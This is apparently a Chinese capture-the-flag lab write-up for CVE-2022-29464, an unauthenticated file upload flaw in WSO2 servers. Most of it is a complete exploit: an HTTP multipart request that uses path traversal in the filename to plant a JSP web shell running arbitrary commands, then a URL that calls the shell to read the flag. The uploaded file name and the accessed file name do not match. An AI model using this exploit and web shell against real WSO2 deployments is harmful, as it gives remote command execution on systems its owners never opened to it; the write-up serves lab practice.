春秋云境：CVE-2022-29464

春秋云境：CVE-2022-29464

文章合集：春秋云境系列靶场记录（合集）

---

WSO2文件上传漏洞：CVE-2022-29464

漏洞介绍

WSO2文件上传漏洞（CVE-2022-29464）是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传，允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。

---

解题步骤

1. 访问URL，无需进行登录
   

2. 通过网上传的POC进行文件上传

POST /fileupload/toolsAny HTTP/2
Host: eci-2ze6z6gdw8c133l2clup.cloudeci1.ichunqiu.com:9443
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 896
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0


--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/testshell.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/testshell.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <%=output %>
--4ef9f369a86bfaadf5ec3177278d49c0--

3. 访问上传的文件并执行命令获取flag：https://eci-2ze6z6gdw8c133l2clup.cloudeci1.ichunqiu.com:9443/authenticationendpoint/test2.jsp?cmd=cat+%2Fflag
   

文章合集：春秋云境系列靶场记录（合集）